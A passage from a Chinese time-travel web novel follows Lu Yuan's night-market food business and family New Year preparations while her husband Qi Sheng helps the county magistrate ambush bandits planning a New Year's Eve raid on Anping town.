陆鸢挽着头发从屋子出来, 说:“下午我还是先回去,你下值后就可以直接回家, 明日还得回一趟围山村呢。” 祁晟犹豫了一下,问:“要不一会, 我去喊辆牛车送你回去?” 陆鸢:“不用。” 她心道不过就是男欢女爱了一宿, 就是刚起来那会腿有点软,又不至于是腿断了。 祁晟眉头微蹙:“那还是等我下值再回去吧。” 陆鸢干脆利落地道:“不用, 我自己回, 你赶紧去上值吧。” 祁晟瞧着她的模样, 没有半点柔情蜜意, 都让他有种错觉, 他们昨晚不是刚圆房的新夫妻,而是成婚已经有好几年的夫妻了。 无奈轻叹了一声:“那我去上值了。” 说着便去解开马的缰绳。 祁晟解开了绳子, 正要牵马出门时,陆鸢忽然喊了声:“等等。” 他转身之际, 一个温软的身子就扑了过来, 直接抱住了他的腰。 陆鸢抱了抱后,又松开了手, 笑盈盈地望着他,说:“去吧,去上值吧。” 祁晟恍惚了一瞬, 下一瞬,嘴角压制不住地往上扬,一双眸子都是笑意。 “嗯,我去上值了。” 这语调和刚刚的语调完全不一样。 陆鸢目送着男人离开,不由地笑出了声。 男人,可真好哄。 就刚刚那会,她一眼就瞧出他因为她冷淡的态度而失望。 陆鸢摇了头笑笑,转回屋中继续绾发。 祁晟到公署的时候,唇角都是上扬的。 把马拴在公署的马厩后,祁晟往内衙而去,才进侧门,就碰上了刚要进户房的沈主簿。 祁晟一拱手,行了礼后,正要走,却不想沈主簿微一挑眉,喊:“祁砦官你随来一下。” 说罢,就转身先行往户房办公署而去。 广康公署内衙左右两边设有六房,分别是吏房、户房、礼房、兵房、刑房和工房。 祁晟微一拧眉,但还是跟着进去了。 进了户房的沈主簿,说:“你既能让县丞破格招为砦官,领捕役以治民安,防盗贼,想来本事也大,我底下也有几人,你且领去一同训练。” 祁晟低头道:“属下没有太大的本事,只是得县丞高看一眼,才按了个砦官一职。而这训练人员名册,是县丞所定,属下不敢乱改。” 祁晟要给起捕役训练山林作战,自是有个能管得住众人的名头。所以县丞便让他暂任砦官一职,但不属公内,不领公中俸禄,只有其名与些许职权, 沈主簿似开玩笑的说道:“怎的,我安排几个人,你便这般推三阻四,是不是觉着县丞给你做靠,你便不把我这个主簿放在眼里了?” 祁晟低头:“属下不敢。” 沈主簿一哂:“我瞧着你挺敢的,罢了,你既有县丞大人做靠,我这小小主簿自是不敢得罪。” 祁晟低头俯首道:“属下绝不敢有这等想法。” 沈主簿摆了摆手:“算了算了,你且去忙吧。” 祁晟拱手退出了户房外,转身后才轻呼了一口气。 他有感觉,这沈主簿喊他的目的,并不是为了安排几个人进来。 更像是一种——试探性的为难。 试探他是一个什么样的人,若是同意了,又或许表现出不敢得罪,犹豫不决,或下回会更欺进一步,得寸进尺。 这公家的活太过勾心斗角,果然不适合他,还不如与丽娘一同在市井做些小买卖来得自在。 陆鸢等鸡汤熬好了,喝了一整碗,又蒸热了两个肉包,吃饱喝足后,汤也没有那么热了,就用草绳把装鸡汤的锅和盖子箍紧,这才放进背篓中,甚至还塞了几把稻草,以免晃动。 弄好后,她才背着背篓往家去。 这平时走三刻也不见累,今日这才走一半路就得歇着了。 等归至家中,已是未时正了。 一回家,两个孩子就委屈巴巴地拥了过来。 晾着衣服的老太太道:“俩孩子盼你回来,都在门槛上坐一个下午了,也盼了一个下午了。” 陆鸢闻言,捏了捏她们的脸,说:“下回别在门口等了,太冷了。” 春花说:“没等一会,曾祖母就让我们回屋了。” 陆鸢笑笑,继而把背篓放下,上去帮忙晾衣服:“老太太我来吧,你去歇着。” 就几件衣服,老太太也就没和她客套。 陆鸢晾着衣衫,又说:“对了,晌午时,郎君买了老母鸡炖汤,热一热,你和两个孩子都喝点补补身子。” 老太太道:“这怎不拿回来来炖?还背着走这么大老远的路。” 陆鸢笑笑不语。 当然不能说这是祁晟觉着昨晚太累着她,特意买回来让她补身体的。 老太太从背篓里把陶罐提了出来,端进厨房中热热。 热着鸡汤时,她还是想不通夫妻俩咋这么麻烦。 热了鸡汤,盛到碗中后,便喊孙媳进来端到堂屋去。 陆鸢应了声,进了厨房,端着两碗走出厨房。 老太太叮嘱:“烫,小心些。” 瞧着孙媳走出屋子,忽然觉得有些不大对劲,跟着走到厨房门口,往外瞧向孙媳走路的姿态,微微眯了眯眼,转头看向鸡汤。 老人家是过来人,眼毒得厉害,似乎想到了什么,忽然一抚掌,喜道:“可算是成了!” 老太太也不急着喝鸡汤,跑屋里拿了钱,就拿了篮子要出门。 陆鸢问:“老太太你这要去哪?” 老太太道:“出门一趟,很快就回来。” 说后,就挎着篮子风风火火地出了门。 陆鸢纳闷,这鸡汤刚热好,连一口都没喝就走了,到底什么事这么急? 过了有小半个时辰,陆鸢才见老太太回来,只见她的篮子里装着两截小孩手臂粗,约莫一尺长的木棍,截面还可以看到木头是橙红色的。 陆鸢好奇地问:“老太太,你这么着急出去,就是为了这两截木头?” 老太太瞄了她一眼,意味深长的道:“一会你就知道这木头用处有多大了。” 陆鸢满脸疑惑。 就这俩木头,还卖啥关子。 很快,陆鸢就知道这木头的用处是什么了。 只见老太太拿刀子把木头外边的树皮削了,然后把其中一根劈开成小条,洗干净后,就往锅里一放,舀了两瓢水进锅。 做了这些后,老太太回房拿了四个鸡蛋出来,就放进锅里,与那木头一块炖。 陆鸢:…… 她好像知道木头的用处是什么了。 好像是做红鸡蛋的原材料。 …… 陆鸢不免想起上回在围山村时,老太太误以为她和祁晟圆房后给准备的红鸡蛋。 现在又来? 老太太这都什么眼神,她才回来多久,就知道她和她孙子干啥了? 鸡蛋煮好,陆鸢瞧了眼,锅里的鸡蛋都已经是红色的了。 老太太也没明说,只道:“等晟哥儿回来,你们俩一人两个,可一定要吃,我煮饭的时候顺道再煮几个,我和孩子俩吃。” 陆鸢没应声,毕竟这可不是什么值得大肆庆祝的事。 祁晟下午回来得迟了,刚好赶上暮食。 去洗了手,才到堂屋坐下。 一坐下,他祖母就在他和丽娘的面前放下两个红鸡蛋。 祁晟:…… 抬眼看了眼妻子,只见她神色自若地拿起鸡蛋在桌面敲了敲,然后气定神闲地剥壳。 春花看了眼自个手里的鸡蛋,又看了眼娘手里的,问:“娘,你的鸡蛋怎么是红色的。” 陆鸢笑眯眯地道:“红色的喜庆呀。” 祁晟一默,随之默不作声地拿过秋花手里的鸡蛋,给她剥好。 夜里,陆鸢给两个孩子讲完故事后,便回了屋。 祁晟坐在床边看着书,陆鸢调侃道:“又买新书了?” 祁晟无奈,阖起书给她看了书封:“你想的都是些什么乱七八糟的,这是我从公署带回来的书。” 陆鸢撇了撇嘴,说:“那不是因为你有先例了,还偷偷藏起来看,下回再买那些书,你要与我分享,可别再藏起来了。” 祁晟:…… 陆鸢坐到桌前,把发髻拆下,披散头发,拿着梳篦从头梳下。 精心呵护了数月的头发,虽然不黑,但依然柔顺且有光泽了。 就是两个孩子原本稀少的头发,也因为跟上了营养,长出了不少的绒毛发,等到夏日,头发就多了。 想到头发,陆鸢转头看向祁晟。 他的头发就很茂盛松软,这会的头发长度都还不到肩,只松散的束脑后,有些没束上的也就散落。 这般模样,像个有薄肌的文艺青年。 陆鸢不由想起昨晚的画面,这平时斯斯文文的一个人,晚上多少有些狂野。 祁晟察觉到她的视线,向她投来了疑惑的视线。 陆鸢收回目光,往脸上抹上了油膏,等渗透了一会后,就转身回床上,朝着他张开手道:“抱会。” 主要想摸摸腹肌,这名正言顺到不能再名正言顺了,有什么不能摸的? 祁晟嘴角微微一勾,放下书,靠坐床凭,随之拍了拍床里侧。 陆鸢动作麻利地上了床,半个身子都躺到了他的怀里。 祁晟手臂环过她,抱住了她。 腹上忽然多了一只手,他的腹部蓦地一紧。 她一个妇人,比男人都要好色,这真的对吗? 陆鸢摸了一会,就适可而止了,才收手,祁晟就抓住了她的手。 “不继续了吗?”他哑着嗓音说。 陆鸢坐正起来,忙道:“不了不了,咱们可不能纵欲过度,明天咱们再继续。” 这正要躺回自己的位置,五指忽被扣住,拽了回去。 祁晟似带着哄骗的语气说道:“没关系的,我不会太过分,且明日你可以睡到日上三竿,我也不用去公署,不用担心会累。” 陆鸢想悄悄地把手抽出来,却不想被扣得紧紧的。 得,下回都不敢随便乱摸了。 第90章 陆鸢睡得迷迷瞪瞪时, 就感觉到身边的人掀开了被衾下床,有冷风钻入。 “你干嘛呢?”陆鸢被灌入的冷风冻得一激灵,声音呢喃不清。 瞧了眼帘子外头,很是昏暗, 估摸着这会外边的天色才蒙蒙亮。 祁晟应:“前两天说过的, 今日回围山村, 把甘蔗运来城里。” 陆鸢睡迷糊了,刚一下子没反应过来。 她挣扎着起来, 说:“我和你一块回去。” 祁晟给她掖了掖被衾:“你再睡一会儿,我快去快回, 说不准晌午还能赶回来吃个中食。” 陆鸢挣扎了一下, 听他这么说,也就心安理得地继续躺着, 打着哈欠叮嘱:“那你小心些。” 祁晟应了一声。 穿上外袍, 戴上僕帽后, 才放轻动作开门出了屋子。 动作再轻, 在他出了房门后, 她祖母也起了。 “晟哥儿,我给你煮几个鸡蛋, 在路上吃。” 祁晟道:“不用这么麻烦了,一会到城门口附近, 我买几个馒头就成, 早点去也能早点回来。” 老太太点了点头,继而道:“这路上不太平, 你可得小心点。” 祁晟应了声“知道了”,就着冷水简单洗漱后,祁晟便牵着马车出了门。 陆鸢是睡到辰时正才起的。 她出了屋子, 两个孩子闻声就跑到了房门前,与孩子还有老太太打了招呼后,她就去洗漱,吃朝食。 朝食吃完后,陆鸢就去找了俩孩子练字的笔墨纸,然后就开始算麻辣豆皮的成本。 虽说现在得豆皮不用花钱,但这之后量多了,还是得花钱买的,所以这个成本还是得算进去。 豆皮不贵也不便宜,市面上好似是六文钱一斤,这泡了之后,至少也能做成十份。 只是得用油纸来装,一文钱才得三张油纸;香料和糖一份得算两文钱。 算来算去,加点小损耗,这成本四舍五入就是三文钱。 小本买卖,也不可能挣太多,但肯定还是得买五文钱一份的。 五文钱还是有些小贵,可也没法子,谁让这材料贵。 算好了卖多少钱一份后,陆鸢才去泡豆皮。 这麻辣豆皮,做好后估计也能放两天。 虽说能放两天,但这夜市也是两天一回。 前天免费品尝的反馈不错,可这价格也不便宜,她也不敢泡多。 春花见娘在忙,自己不去找娘,也拦着妹妹不让她打扰。 老太太从隔壁回来,与孙媳道:“丽娘,过两天就逮鱼了,隔壁问咱们要多大的鱼。” 是了,还有六七天就到年三十了。 陆鸢想了想,说:“要三尾一两斤左右重的,再要三尾大鱼,三斤左右。” 老太太转头就去隔壁说了。 差不多午时,陆鸢便去做中食。 这才开始洗菜就听见了马蹄和车轱辘转动的声音。 心说祁晟这么快就回来了? 她原先还想着,他至少都要到午时未时才能回来。 果不其然,听到声的两个孩子也跑了出去,没一会儿就听到俩孩子喊爹的声音。 老太太也在心里嘀咕。 祁晟把两个孩子放到了车儿板子上,前牵着马车进了院子。 陆鸢从窗口探头出去,问:“你怎么这么早就回来了?” 祁晟喊了声祖母,洗了手就进厨房,低声与她说道:“我给你把甘蔗运回来了,我回去的时候到了一圈安平镇,发现多了一些生人。也询问过有客来的柳掌柜,近来几日,都能看见好些个生面孔。” 陆鸢闻言,脸色严肃了起来,也压低声说:“这都快过年了,别人都是往家乡赶,这怎会忽然多了这么多的生面孔?恰巧还是在县丞剿灭了一个山头后,该不会是……” 她瞪大眼看向祁晟。 他咋每回回去都能遇上这些事? 祁晟道:“我也特意去客栈询问过,住宿的人也没几个,但这些人都在附近游荡,我也去询问过镇长,镇上也说奇怪,怕是山贼强盗,他也做好了防范。” “我暗中勘查过,有六成的可能是山贼踩点,所以才赶着回来。中食我就不吃了,我先赶去公署与县丞说一下这件事。” 陆鸢知道这事的严重性,道:“你赶紧去吧,我一会再和老太太仔细说。” 祁晟点了头,然后就出了厨房,把马车的车斗卸下。 老太太问:“你这事要出去?” 祁晟应道:“有事情出去一趟,中食不用等我了。” 老太太:“什么事这么着急?” 陆鸢从门口探出脑袋,说:“老太太,一会我再和你解释,先让郎君去吧。” 老太太也就没再继续追问。 祁晟把车子拆下来后,道:“车子里边的甘蔗等我回来再卸下。” 陆鸢:“你别操心了,快去吧。” 祁晟牵着马就出了门。 人走了,老太太问:“咋了,又遇上事了?” 老太太眼就是毒,一眼就能看出关键。 陆鸢点头道:“说是安平镇看到了很多的生面孔,但客栈的住宿也没有增多。” 老太太一听,似乎想到了什么,神色都变了。 陆鸢继续道:“所以郎君现在去公署,把发现的事情告知县丞。” 祁晟一直都没有回来,这泡好的豆子也要带过去,陆鸢只得请牛车,顺道把孩子和老太太都带去。 陆鸢和糕点铺子的陈娘子约定好今日酉时,让招的人到铺子里见见。 也正好,祁晟今晚估计是回不来了的。要是这人还可以,今晚出摊就可以上手帮忙。 他生长在围山村,对周边的山形极为了解,若是县丞要派人去,他肯定也是要去的。 到了夜市街,陆鸢磨了豆浆后,就开始做豆腐,豆乳则晚点煮。 捯饬好后,就带着老太太和孩子一同去的糕点铺子。 陈娘子看到两个孩子,惊诧道:“呀,我瞧着你们两夫妻年纪也不过都二十出头,孩子都这么大了呀?” 老太太在旁笑道:“他们成婚早。” 陈娘子笑着与老太太道:“你定是祁郎君的祖母了,我听苏娘子提起过老太太你,说老太太你与人交好,是个好脾气的。” 老太太笑了:“真这样说的。” 陈娘子:“那可不。” 唠嗑了几句,陈娘子朝着店铺里头一个三十出头的妇人,与陆鸢道:“你要找的人,虽然不住在夜市街,但她男人也在夜市帮忙,晚上夫妻俩一块归家,也是有伴的,便不用为其安危担忧了。” 陆鸢朝着那妇人看去,三十来岁,长相普通,但发髻梳得整齐,衣衫虽旧,可也干干净净的,没有任何的污垢。 就是指甲夜市修剪得平整,干净。 做吃食的,就是得干净整洁。 那妇人走上前,大大方方道:“东家,我叫胡七娘,家住城西。” 陆鸢笑了笑,唤了声“七娘。”继而道:“工钱和上工时辰,陈娘子可有与你说?” 胡七娘应:“都说了。” 陆鸢道:“除了平日打下手外,晚间要帮忙把东西搬出去,收摊后也要把东西都搬回去。” 胡七娘笑道:“这些,陈娘子都与我说了,只要东家愿意用我,都没问题。” 陆鸢笑了笑:“那成,先帮忙三天试试看,这三天要是做得顺,就一直干下去,工钱也照样给。” 胡七娘问:“这是要我干活了?” 陆鸢点了点头,随即道:“我一会带你认认门,等酉时正,再把东西搬到街上去,等过两天做好了小板车了,也就不用搬得那么辛苦了。” 做好了马车后,陆鸢也让木匠多做了一架小推车,明天估计就能去拿了。 这有了小推车,桌椅都不用搬得那么辛苦。 胡七娘应道:“都成,我有一把子力气,都能搬。” 陆鸢听到她说有力气,就更加心动了。 这之后有了小板车,双日祁晟不在的时候,也可以多加钱,让胡七娘帮忙推磨。 她太久没推磨了,今日推了两个时辰的磨,手都酸了。 事就这么说定后,陆鸢让陈娘子称了半斤的云片糕后,就带着胡七娘回去认门了。 胡七娘认了门后,道:“我与我家男人说一声,让他晚上等我一块回去。” 陆鸢点头:“行,你看着点时辰,差不多就过来。” 胡七娘离开后,老太太问:“这请人得多少钱呀?” 陆鸢道:“也不多,一晚上十八文钱。” 毕竟地处偏僻的岭南,最不值钱的就是人工。 老太太道点了点头:“确实不多,算下来也不过是六文钱一个时辰。这一个时辰的工钱也只能够买一斤米,这干一个晚上,才够一家人一天的口粮。” 陆鸢道:“人家是夫妻俩干活,且白日也可能有些活计,不然就这点工钱,真的不够养家糊口。” 老太太见天色也不早了,便道:“我去做饭了。” 说罢,不由自主地叹了一口气,自言自语道:“也不知道要不要做晟哥儿的份……” 陆鸢大概能猜到什么情况,便道:“这个时辰了,就不用准备了。” 这话刚落,院门处传来喊声:“苏娘子,祁家老太太。” 两人转头看去,就见院门外站了个年轻人,正是上回给她们家传话的小差役。 看到是公署的人,陆鸢和老太太心里牵挂祁晟,一同上前。 陆鸢问:“可是我家郎君差你来传话?” 差役点头,道:“祁砦官让小的到这传话,他下午随着县丞大人出了城,这几日都不会回来。” 老太太心头一紧,追问:“可说了去何处,何时归?” 差役道:“这倒是没有明说,但祁砦官说了,老太太和苏娘子会理解的。” 陆鸢和老太太都听明白了,祁晟是随着县丞一同去了安平镇。 若安平镇真被山贼强盗盯上了,他们能不能回来过年节都还要另说。 这眼瞅着就要过年了,还出了这么闹心的事,真真让人没法好好过日子了。魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 90-100 第91章 陆鸢弄了新吃食, 一份五文钱,比油条还贵,买的人少。 买的大多都是前两日尝过的回头客。 来摊上吃够四文钱,陆鸢也还是会继续送上一小份麻辣豆皮。 试吃过的, 在问过能放两天后, 也还是有人会买上一份。 一晚上, 大概只卖出去了二十份。 夜里收摊,陆鸢给胡七娘日结了工钱。 东西都搬回去后, 已然夜深了,自是不会回去, 更别说老太太也知道孙子去干嘛了, 经过上回的风寒,陆鸢自然是不敢让她待在家里胡思乱想。 中午来夜市的时候也多带了一床被褥过来, 将就着睡。 只是这里的床就这么大, 只能横着睡。把几张杌子放到床边, 大人用来放脚。 收摊回来时, 搬东西的声响大, 自是吵到了屋里头的人,老太太便拍着两个孩子。 好一会后, 陆鸢简单地洗漱过后,才提着灯笼进屋。 老太太抬头看了她一眼。 陆鸢道:“别管我, 老太太你继续睡。” 老太太点了点头, 道:“你早点睡。” 听老太太的声音,上半宿似乎没有睡。 陆鸢也道:“老太太你也别想那么多了, 也早点睡吧。” 陆鸢喝了口水,也上了床,与春花同盖一张被衾。 挤着睡, 除了睡得没有那么舒适外,倒是挺暖和的。 一夜无梦,早间也没心思做朝食,陆鸢背上背篓,就带着老太太和俩孩子去东市喝羊杂汤配馎饦,顺道把菜给买了。 吃着朝食,老太太道:“我琢磨着等开春,就在院子的那一小块空地种点菜,还有昨日晟哥儿也都把公鸡母鸡给带来了,开春后也孵一些小鸡,养来生蛋,这样也不用日日买菜。” 陆鸢道:“最近天气好,咱们一会再去买十来斤肉,用来灌肠。” 老太太点头:“也行。” 忙点好呀,忙点就不会胡思乱想。 吃了朝食,买了菜就回了。 归至家中,两人就开始剁肉,拌肉,洗肠衣,忙忙碌碌。 祁晟随着县丞领着五十人,为了不打草惊蛇,遂分成数支小队出城,往安平镇而去。 而后都在安平镇的十里外等候消息,祁晟则与几人前去探路。 祁晟在安平镇周围的山头走动了一圈,发现周围的野草或多或少都有被踩过的痕迹。 他蹲下仔细观察了附近的野草压痕。 山林丛间平日鲜少有人走动,若是野草有过多压痕,便说明这段时日常有人在林中行走。 而这里的压痕可不止是一两个人走出来的,倒像是七八人才能走出来的痕迹。 看到这压痕,祁晟神色顿时凝重了起来。 山贼强盗想要屠镇的可能,之前猜测只有五六成,现在已然有七成。 祁晟站起,和另外几人道:“你们也在附近找一找野草压痕,根据压损程度和范围确定行过的人数,两刻内在这里会合。” 几个人也不废话,立马分开而去。 祁晟也去其他地方搜查。 两刻后,众人会合,祁晟让两人乔装打扮进安平镇盯梢。他则赶回去汇报个中细节。 祁晟寻到了杨县丞,说明注意到的细节。 祁晟道:“据我所知,安平镇是青头寨的地盘,其他山寨是不能越界的。而青头寨子也不过两三百人,想要屠村不大可能。安平镇便是小,镇上有人有千数人,便是护镇巡查,也有百数人,想要屠平整个安平镇,只会两败俱伤。” 话到最后,他补充道:“属下猜测很有可能是几个山寨联合了起来,对抗公署。” 杨县丞也不意外:“我早料到了,这些鼠辈被逼急了,定会抱团自保。” 杨县丞毕竟行伍出身,也不用询问他人意见,也能有所判断。 他立刻修书一封,喊来了亲信。 他把信给到亲信,吩咐:“快马加鞭,把此报送往土头坡,亲自给到杨将军的手上。” 差役取过信,一拱手就快步而去,寻了快马,即刻策马而去。 杨县丞安排了人,拿令去安平镇,让镇上不动声色地做好防护。 把事情安排好后,复而看向祁晟:“你对这附近的山头最为了解,现在开始堆砌沙盘,有什么地方不对的,你便在旁指点,容易藏人且易埋伏的地方,你也给仔细标注出来。” 祁晟颔首,跟着一块摆弄沙盘。 这突袭一般都是在晚上,他们要做好最坏的打算,也就是安平镇随时都有可能被攻击的打算。 离过年还有三日,祁晟尚未有消息传回,但日子也还是要过的。 老太太虽日日都唉声叹气,也肉眼可见地憔悴了,但好在先前大病过后,现在的身体倍儿棒,也没有出现任何虚弱之症。 陆鸢这几日一有空就开始削甘蔗,熬蔗糖。 祁晟弄了差不多两百斤的甘蔗。他不在家,可干得累死她了。 天天不是削甘蔗,就是在凿甘蔗汁出来,也实在是推不动磨了,只得是让胡七娘中午就过来帮忙推磨,一回给二十五文的工钱。 推磨是力气活,和打下手又不一样,当然得多给一些钱。 胡七娘只是每日中午去给别人做一顿饭,下午都有空,也就欣然接受这个活计。 祁晟也出去了好几日,陆鸢也就没再带着老太太去夜市。 临近过年,天气也暖和,夜市的人比先前多了一倍,人来人往,忙得不停歇。 陆鸢就没停过炸油条,炸豆腐,而胡七娘则帮忙打包,把吃食端上桌和收拾,洗碗。 两张桌子也一直都是人。 “东家,来一下。”忽然有客人喊。 胡七娘忙走了过去,问道:“客人还要点什么?” 那人道:“这麻辣豆皮,能不能给我做成送礼样式的,包得好看一些,我想要六份,年初一晚上过来拿。” 过年年初一到年初八,还有元宵,无论双日单日,都可以摆夜市。 胡七娘道:“等一会,我去问东家一声。” 胡七娘走到陆鸢跟前,大声问了客人说的事。 陆鸢闻言,道:“可以,但得先给一半的定钱。” 胡七娘转头与客人说了这话,六份的定钱也就是二十文。 客人也是老客户了,便直接了定钱。 陆鸢收了定钱后,心里也有了想法。 说不定还真能弄成送礼的礼品。 陆鸢念头一过,又开始忙了起来。 今日人多,吃食也备得多,到了子时才收摊的。 胡七娘的男人收工了,也来帮忙收拾,而后陆鸢看着摊子,他们夫妻俩用小推车把桌椅板凳都推回了家里,随后才是琐碎的锅碗瓢盆。 东西都搬了回去,她便给胡七娘结了工钱,送走了人后,就立马把院门给上了锁。 一个女人在家,附近居住的人又少,她肯定是害怕的。 院子里静悄悄的,夜市隐约还会传来声响,陆鸢却还是觉得出奇的安静。 她喜欢热闹,不喜欢现在这种氛围,安静得好似就只剩下自己一个人,心头空落落的。 这还是她穿越这几个月以来,第一回夜晚独处呢,这会她还怪想祁晟的。 也不知道他现在什么情况了。 说要去法陀寺求平安符,到现在都还没去呢。 不行,明天一定要和老太太她们去一趟法陀寺,求个平安,也求个心安。 她都能穿越了,就一定要相信世上有鬼怪,也有神佛。 陆鸢洗洗刷刷完,躺床上都已经是子时正过二刻了。 虽然今晚挣的钱比以往都多,但是她也没心情去数。 她揉按着酸痛的手臂,一会儿就睡着了。 年二十八,陆鸢和老太太带着两个孩子去了一趟法陀寺,捐了百文的香油钱。 陆鸢贪心,求了五个平安符后,还多求了一个招财福。 最后,陆鸢拜着大佛,在心底默默地为自己另一个世界的亲人求个平安。 还有,她希望真正的苏丽娘并没有死去,而是成为了她,继续在她的世界活下去。 毕竟,她也不是出了什么大车祸,大概率还是能活的。 求了平安后,出寺庙时,老太太与孙媳道:“都过去好些天了,晟哥儿什么消息都没有,要不咱们一会儿顺道去公署问问去?” 陆鸢道:“郎君是随着县丞暗中出行的,还是不要问太多,省得旁人看出端倪。” “而且这会没有消息,才算是好消息。” 老太太琢磨了一下,觉得自己的孙媳说得也有道理,也就歇了去公署询问进展的念头。 且孙媳说得也没错。 这市井上没有任何的消息,也就说明现在一切都还平安无事,什么都还没有发生。 出了法陀寺,她们坐来时的牛车返回。 回到家中,正好隔壁陆大娘把鱼都送了过来。 陆大娘的两个儿子帮忙把鱼送到了院子里,逐一称重,按照每斤五文钱来算,一共是七十六文。 七尾鱼,用了两个木盆才能装下。 老太太把钱给了陆大娘。 陆大娘道:“明天一早,陈家就会宰羊,可得早点去,还能拿点羊血,羊杂。” 老太太:“明天你去的时候,顺道把我也喊上。” 陆大娘道了声“行”,仔细数了数前,数完后,道:“没错,是这个数。” 说罢,好奇道:“你孙子去哪了,咋的最近这些天都没见着人?” 老太太和陆鸢也早对好了说辞,应道:“这不是乡下出了点事,他回去帮忙去了,估摸着得年后才回来了。” 陆大娘诧异道:“呀,这不是连年夜饭都赶不回来了?” 陆鸢陪着俩孩子看着盆里的鱼,也听着陆大娘的话。 要是年夜饭赶不回来,山贼强盗大概率在年三十鞭炮响起的时候,才会有所动作。 鞭炮声会掩盖去所有的惊恐声,呼救声,等别人反应过来的时候,就已经迟了。 若真如此,祁晟还真是过了年才会回来。 老太太笑了笑:“饭什么时候吃都行,还是老家里的事情重要一点。” 陆大娘:“那瞧来这事还不小,得了,我也不瞎打听了,你们家要是有什么事要帮忙,尽管来寻我们家。” 老太太笑道:“我们家水缸可是快见底了。” 陆大娘也笑了:“行行行,给你打满来。” 转头就隔着一面墙,朝着自己院子喊:“大陆小陆过来,给你们何奶奶把院子里的水缸挑满水。” 陆鸢悄悄地给老太太鼓了鼓掌,还是她敢说,敢直接让人帮忙。 第92章 年三十一大早, 陆鸢就和老太太一块到巷尾人家围观宰羊。 他们家要了三十斤的羊肉,是要羊肉最多的,主人家也大方,直接给了一大碗的羊血, 还各切了一些羊肚, 羊肠, 羊百叶给他们,瞧着都有一斤多。 把羊肉都抬回了家里, 老太太看着院子里的鱼和羊肉,愁道:“丽娘, 这些菜真能吃完了?” 在冬日, 羊肉挂在屋檐下能放两天,做成酱羊肉又能多放几天。 正好能吃到年初三。 要是祁晟回来, 这肉倒是不愁剩的。 要是明天之后, 祁晟还没有任何消息, 陆鸢也有别的办法。 她应道:“这些鱼能养着, 要是养不住就做成腊鱼。” “至于这些羊肉, 年初一要是没有半分安平镇的风声,年初二就做成酱羊肉, 在夜市便宜卖出去。” 老太太幽幽地叹了一声气。 这些菜倒是有了着落,可晟哥儿这边, 都已经过去了六日了, 愣是一点消息都没有。 听着老太太叹气,陆鸢也想跟着叹气, 但一家子总得有个支柱,她可不能跟着丧气,不然这家里就没有半分鲜活气息了, 所以她表面上还是得支棱。 陆鸢与老太太道:“我琢磨着咱们也没有亲朋要走,在郎君回来前,我都会去夜市摆摊,老太太你看看是带着孩子和我一起到夜市住,还是在家里。” “夜市那边吵了些,不如家里安静。” 老太太道:“不管咋说,过年就是要热闹,闹些总比安静得好,我就和孩子一同去夜市,不过就是这地方不大够睡。” 老太太的想法和陆鸢的不谋而同,都不喜欢太安静,该闹腾的时候就该热闹。 现下光景,太安静了会胡思乱想,还是热闹点好。 陆鸢:“我前日就和铺子里的东家说了,年节时,家里的老人和小孩要在夜市住上几日,就借了小床。到时就拼在一块睡,又或是我带着两个孩子睡,老太太你单独睡一张床。” 老太太听了她的安排,也就不操心了。 晌午吃了中食后,就开始张贴春联。 今日年三十,早早地就宰了鸡。 岭南习俗,逢年过节都杀鸡拜神。鸡是整只蒸熟或是水煮熟,然后一整鸡摆上桌子,烧元宝香蜡烛,祭拜天地,求神佛保佑来年风调雨顺,身体健康,万事如意。 祭拜过后,就开始吃年夜饭。 羊杂不禁放,所以陆鸢做了羊杂汤,白切鸡和一个素菜,还有盆里最小的一尾鱼,一斤多重。 对于两个大人和两个孩子来说,这些菜着实多了些。 但这也是为了讨个年年有余的好兆头,这才多做了一道鱼。 一桌子四人,秋花拿着筷子,看着桌上的几道菜,久久未动筷。 陆鸢问:“秋花,咋了?” 秋花仰起头看向她,问:“娘,爹呢?” 哦,原来是想爹了。 也不知道秋花的记忆咋样,但就现在而言,她似乎已经把祁晟当成亲爹一样亲了。 陆鸢还没解释,春花就与她解释了:“爹去干大事,好事去了。” 春花虽然不太清楚她继父到底去干嘛的,但她知道是给当大官的人做事情,那就是干大事,做好事。 秋花忽然鼓了嘴,眉眼间似乎有些生气,说:“不要干大事,要吃饭,要吃肉。” 陆鸢和老太太相视了一眼。 是了,家里难得这么多菜,这孩子是个好的,肯定会记挂着家里没上桌的人。 就是春花忽然也吃不香了,她看向娘,问:“娘,能不能给爹也留些菜?” 陆鸢夹了鱼腩,仔细检查没刺后,才放到她们的碗中,道:“等你们爹回来后,再重新做。” “赶紧吃,吃完了,和隔壁陆家小哥出去玩鞭炮。” 面对肉,两个不挑食的孩子,今日的胃口却不怎么样,便是陆鸢和老太太,也没吃多少,等吃完的时候,菜还剩下一大半。 用竹筛盖住,而后跑到巷子外看孩子玩鞭炮。 老太太没精神,吃了暮食后就回屋去了。 陆鸢瞧着热热闹闹的,一想到祁晟今晚有可能置身凶险,她的心情也不咋样。 大年三十,全部人戒备在各个地方。 旁人能想到的侵入时辰,杨县丞自是也想到了。 年三十子时正便是最好的袭击时辰。 各家各户都沉浸于欢声喜庆的时候,压根就不会意识到会有危险降临。 别人吃着热乎乎的年夜饭时,他们也只能啃着冷硬的馒头。 祁晟咽下了干硬的馒头后,站在最高的树上往周围观察,隐约看到远处草木隐约耸动。 仔细看,还能看到人影在其中弯腰低头,徐徐前进。 祁晟转身,朝着另一个方向打了几个手势后,便全神贯注盯着那些人的走向。 时至黄昏,天色昏暗,与镇上的喜庆全然不同,山上两方的情况各有不同。 前者严阵以待,后者隐藏在暗处,带着狩猎一般的激动,随时都准备倾巢而出猎杀。 入了夜,就着天色,靠着镇外的人家,皆有数人翻入墙头,即刻摁住了老百姓,与他们说明身份,说明来意后,这年三十顿时没了喜气。 不仅是这些人家,便是客栈,也早早安排了数人暗中看守。 众人带着兵器十分警惕,严陈待敌。 夜色逐渐深重,子时一过,匿藏在山林中的人就有了动作,趁着夜色悄然向着安平镇而去。 从此处山林以步至安平镇,两刻足矣。 子时正的鞭炮一响,不高的围墙,有人用梯子爬进,镇门也在这个时候从里打开。 贼子没有任何怀疑,还当是自己的人干掉了守门人,自己人把镇门打开的,顿时蜂拥而入。 只是当数百人拥进去后,城门陡然被关闭,近百支箭矢咻然而来,贼子全然没有防备。 还未进城的贼子,意识到被埋伏了,即刻撤退,可不承想,他们竟然被包抄了,后头也来了一批人马! 这一晚的安平镇,鞭炮声遮去了厮杀声,便是过了子时正的两刻,鞭炮声依旧未停。 早间镇长听从杨县丞的安排,为了避免不知情的百姓听到声响后乱跑乱逃,故,在镇上四个方位都多备了小半个时辰的鞭炮。 